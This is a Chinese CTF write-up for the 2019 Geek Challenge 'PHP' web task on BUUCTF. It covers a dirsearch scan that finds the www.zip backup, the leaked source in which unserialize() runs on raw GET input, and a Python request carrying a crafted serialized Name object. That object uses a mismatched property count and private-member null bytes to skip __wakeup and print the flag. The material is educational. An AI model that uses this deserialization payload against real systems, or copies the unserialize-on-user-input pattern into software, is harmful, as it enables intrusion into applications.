2019极客挑战赛WEB部分PHP

你的名字 2021-09-21 07:18 353阅读 0赞

题目链接:[buuoj][]

## 扫描敏感文件 ##

根据题目描述，应该网站是存在备份文件的，这里用dirsearch工具扫描一下可以发现备份文件是www.zip。（PS：BUUCTF对大量的请求会返回429错误码，建议调小一下扫描的线程数)。  
`python3 dirsearch.py -u http://03670227-0f65-49ec-ad73-1075e1f979fc.node3.buuoj.cn/ -e php -t 1 | grep -E "200"`  
![在这里插入图片描述][2020050422273319.JPG]

## 分析源码 ##

下载j解压后有多个文件，其中有一个flag.php文件，提交后不是正确的答案。重点看index.php和class.php这两个文件。index.php中关键的代码如下：

<?php
 include 'class.php';
 $select = $_GET['select'];
 $res=unserialize(@$select);
 ?>

首先包含了class.php文件，然后获得GET方式传递的参数，对数据进行了反序列化。

在看一下class.php文件

<?php
 include 'flag.php';
 
 error_reporting(0);
 
 class Name{ 
 private $username = 'nonono';
 private $password = 'yesyes';
 
 public function __construct($username,$password){ 
 $this->username = $username;
 $this->password = $password;
 }
 
 function __wakeup(){ 
 $this->username = 'guest';
 }
 
 function __destruct(){ 
 if ($this->password != 100) { 
 echo "NO!!!hacker!!!";
 echo "You name is: ";
 echo $this->username;echo "";
 echo "You password is: ";
 echo $this->password;echo "";
 die();
 }
 if ($this->username === 'admin') { 
 global $flag;
 echo $flag;
 }else{ 
 echo "hello my friend~~sorry i can't give you the flag!";
 die();
 
 
 }
 }
 }
 ?>

发现能得到flag的位置在变量销毁是调用destruct()函数。只有当Name类的对象的password属性值为100并且username属性值为admin时，才会输出flag。而在反序列化是会调用wakeup函数使得username属性值为guest。这里就需要绕过wakeup函数。绕过的方法是：改变构造好的序列化字符串属性的个数，使得和Name中属性个数不一致，这样就会绕过wakeup函数。同时要注意private类型的变量和protected类型的变量序列化后的特点：

\x00 + 类名 + \x00 + 变量名 -> 反序列化为private变量
    \x00 + * + \x00 + 变量名 -> 反序列化为protected变量

pyload如下：

import requests
    payload='O:4:"Name":3:{s:14:"\x00Name\x00username";s:5:"admin";s:14:"\x00Name\x00password";i:100;}'
    url='http://03670227-0f65-49ec-ad73-1075e1f979fc.node3.buuoj.cn/?select='
    r = requests.get(url+payload)
    print(r.text)

![在这里插入图片描述][2020050422304670.JPG]

## 总结 ##

本题主要考查PHP反序列化漏洞，这里就是利用了构造属性个数与类的本身属性个数不同来实现绕过wakeup()函数。同时要注意private类型的变量序列化后的字符串的特征

[buuoj]: https://buuoj.cn/challenges
[2020050422273319.JPG]: /images/20210920/5e5288a4129d46c4aa63591cc7ea34e8.png
[2020050422304670.JPG]: /images/20210920/30698c2eca82487e8fc7bc6a1d7aaa3a.png